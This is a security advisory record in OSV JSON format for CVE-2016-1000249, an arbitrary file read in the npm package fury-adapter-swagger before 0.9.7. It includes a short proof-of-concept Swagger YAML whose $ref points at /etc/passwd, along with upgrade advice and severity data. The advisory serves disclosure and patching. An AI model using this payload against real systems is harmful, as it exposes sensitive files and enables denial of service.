{
"id": "GHSA-2r7f-4h2c-5x73",
"aliases": [
"CVE-2016-1000249"
],
"details": "`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.\n\n## Proof of Concept:\n\n```yaml\n---\nswagger: '2.0'\ninfo:\n title: Read local files\n version: '1.0'\n\npaths:\n /foo:\n get:\n responses:\n 200:\n description: Some description\n examples:\n text/html:\n example:\n $ref: '/etc/passwd'\n```\n\n\n## Recommendation\n\nUpgrade to version 0.9.7 or later.",
"summary": "fury-adapter-swagger allows arbitrary file read from system",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0.2.0"
},
{
"fixed": "0.9.7"
}
]
}
],
"package": {
"name": "fury-adapter-swagger",
"ecosystem": "npm"
}
}
],
"modified": "2023-09-11T16:45:35Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
}
],
"published": "2020-09-01T16:38:33Z",
"references": [
{
"url": "https://github.com/apiaryio/fury-adapter-swagger/pull/89",
"type": "WEB"
},
{
"url": "https://github.com/apiaryio/fury-adapter-swagger/commit/777e2d68f03546a88f3203bbd4725df8b1f662a7",
"type": "WEB"
},
{
"url": "https://github.com/apiaryio/fury-adapter-swagger/commit/f4407e3a5323bc31123d45dbc93b8417002e4d51#diff-54c345dc104dc19440f9c2482b7883df820e8b9b699fdd8fa07e2773e7197a29",
"type": "WEB"
},
{
"url": "https://github.com/apiaryio/fury-adapter-swagger",
"type": "PACKAGE"
},
{
"url": "https://security.snyk.io/vuln/npm:fury-adapter-swagger:20161024",
"type": "WEB"
},
{
"url": "https://www.npmjs.com/advisories/305",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2020-08-31T18:18:37Z"
}
}